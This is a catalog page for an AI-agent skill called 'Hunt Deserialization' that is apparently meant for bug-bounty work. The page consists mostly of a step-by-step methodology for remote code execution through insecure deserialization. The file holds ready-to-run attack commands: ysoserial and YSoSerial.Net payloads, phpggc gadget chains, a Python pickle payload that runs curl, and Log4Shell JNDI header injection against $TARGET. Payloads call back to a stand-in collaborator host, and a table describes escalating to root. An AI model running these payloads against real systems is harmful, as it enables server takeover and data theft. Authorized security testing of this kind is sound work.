
Hunt Deserialization
- 53 installs
- 3.3k repo stars
- Updated August 3, 2026
- elementalsouls/claude-bughunter
Hunts insecure deserialization RCE via Java gadget chains, PHP object injection, Python pickle, .NET, Ruby, and JNDI.
About
Hunts insecure deserialization leading to remote code execution across Java, PHP, Python, .NET, and Ruby stacks. A developer uses it when a target runs a serialization-based framework.
- Java ysoserial gadget chains, PHP object injection, Python pickle, .NET BinaryFormatter, and Ruby Marshal
- JNDI/Log4Shell class-load RCE, built from 22 public reports
Hunt Deserialization by the numbers
- 53 all-time installs (skills.sh)
- Ranked #1,286 of 2,203 Security skills by installs in the Skillselion catalog
- Data as of Aug 5, 2026 (Skillselion catalog sync)
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| Installs | 53 |
|---|---|
| repo stars | ★ 3.3k |
| Last updated | August 3, 2026 |
| Repository | elementalsouls/claude-bughunter ↗ |
What it does
Hunts insecure deserialization RCE via Java gadget chains, PHP object injection, Python pickle, .NET, Ruby, and JNDI.
Files
HUNT-DESERIALIZATION — Insecure Deserialization
Crown Jewel Targets
Deserialization bugs are almost always Critical — they lead directly to RCE without prerequisite conditions.
Highest-value chains:
- Java ysoserial gadget chains — CommonsCollections, Spring, JNDI, Groovy gadgets → full OS command execution
- PHP Object Injection —
__wakeup/__destructmagic methods → file write / RCE - Python pickle —
pickle.loads(attacker_data)→__reduce__→os.system('id') - .NET BinaryFormatter — TypeConfuseDelegate gadget chain → RCE
- Ruby Marshal.load — Gem::Requirement, Gem::Installer gadgets → RCE
- JNDI injection — Log4Shell pattern:
${jndi:ldap://attacker/a}→ class load → RCE
---
Attack Surface Signals
Detection Patterns
# Java serialized objects start with AC ED 00 05 (hex) or rO0A (base64)
echo "rO0ABXQ=" | base64 -d | xxd | head -1 # shows: ac ed 00 05
# PHP serialization: O:8:"stdClass":0:{}
# Python pickle: starts with \x80\x04 (protocol 4) or \x80\x02
# Apache Shiro: rememberMe cookie present
curl -sI https://$TARGET/ | grep -i "Set-Cookie.*rememberMe"
# Log4j: test user-controlled fields for JNDI interpolation
curl -H 'User-Agent: ${jndi:dns://COLLAB_HOST/a}' https://$TARGET/Header / Cookie Signals
Content-Type: application/x-java-serialized-object
Cookie containing rO0= prefix (Java base64 serialized)
Cookie: rememberMe= (Apache Shiro)
Cookie: _VIEWSTATE (ASP.NET ViewState without encryption)
Endpoints: /remoting/, /invoker/, /jmx-console/, /wls-wsat/---
Step-by-Step Hunting Methodology
Phase 1 — Java Deserialization (ysoserial)
# Install ysoserial
wget https://github.com/frohoff/ysoserial/releases/latest/download/ysoserial-all.jar
# Generate OOB detection payload
java -jar ysoserial-all.jar CommonsCollections6 \
'curl http://COLLAB_HOST/ysoserial' | base64 -w0
# Send as body or cookie
java -jar ysoserial-all.jar CommonsCollections6 'id > /tmp/pwned' | base64 | \
curl -s https://$TARGET/wls-wsat/CoordinatorPortType \
-H "Content-Type: application/x-java-serialized-object" \
--data-binary @-
# Apache Shiro exploit (default AES key)
python3 shiro_exploit.py -u https://$TARGET/ -c "id"Phase 2 — PHP Object Injection
# Find unserialize() calls in source
grep -r "unserialize(" --include="*.php" .
# Inject test: O:8:"stdClass":1:{s:4:"test";s:5:"value";}
# Send in cookie, POST param, or hidden form field
# If error changes → deserialization confirmed
# Craft gadget chain using phpggc
git clone https://github.com/ambionics/phpggc
php phpggc -l # list chains
php phpggc Laravel/RCE5 system id | base64Phase 3 — Python Pickle
# Generate OOB payload
python3 -c "
import pickle, os, base64
class Exploit(object):
def __reduce__(self):
return (os.system, ('curl http://COLLAB_HOST/pickle-rce',))
print(base64.b64encode(pickle.dumps(Exploit())).decode())
"
# Send as cookie or POST body
curl -s https://$TARGET/api/load-model \
-H "Content-Type: application/octet-stream" \
--data-binary @payload.pklPhase 4 — .NET ViewState
# Check if ViewState is unsigned (MAC disabled)
# Look for __VIEWSTATE in HTML source without __VIEWSTATEMAC
# YSoSerial.Net
dotnet YSoSerial.exe -f BinaryFormatter -g TypeConfuseDelegate \
-c "cmd /c curl http://COLLAB_HOST/viewstate-rce" -o base64Phase 5 — Log4Shell / JNDI
# Test all user-controlled inputs
COLLAB="COLLAB_HOST"
for HEADER in "User-Agent" "X-Forwarded-For" "Referer" "X-Api-Version" "Accept-Language"; do
curl -s https://$TARGET/ -H "$HEADER: \${jndi:dns://$COLLAB/$HEADER}" &
done
# Test POST body fields
curl -s -X POST https://$TARGET/api/login \
-H "Content-Type: application/json" \
-d "{\"username\": \"\${jndi:ldap://$COLLAB/a}\"}"Phase 6 — Ruby Marshal
# Look for Marshal.load in source
grep -r "Marshal.load\|Marshal.restore" --include="*.rb" .
# Gem::Requirement gadget chain via marshalable objects
# Use ruby-advisory-db gadgets---
Chain Table
| Deserialization signal | Chain to | Impact |
|---|---|---|
| Any deser RCE | /etc/passwd + id output | Prove arbitrary command execution |
| RCE as low-privilege user | Find SUID binaries / sudo rules | Privilege escalation → root |
| Blind RCE (OOB callback) | DNS callback → confirm exec | Sufficient for Critical PoC |
| Log4Shell | LDAP → JNDI → class load | Full RCE on JVM process |
---
Automation
# OOB listener
interactsh-client -v -n 5
# JNDI exploit kit
git clone https://github.com/pimps/JNDI-Exploit-Kit---
Validation
✅ DNS/HTTP callback from COLLAB host: blind deserialization confirmed ✅ Command output in response: full RCE confirmed
Severity: Almost always Critical — RCE with server process privileges.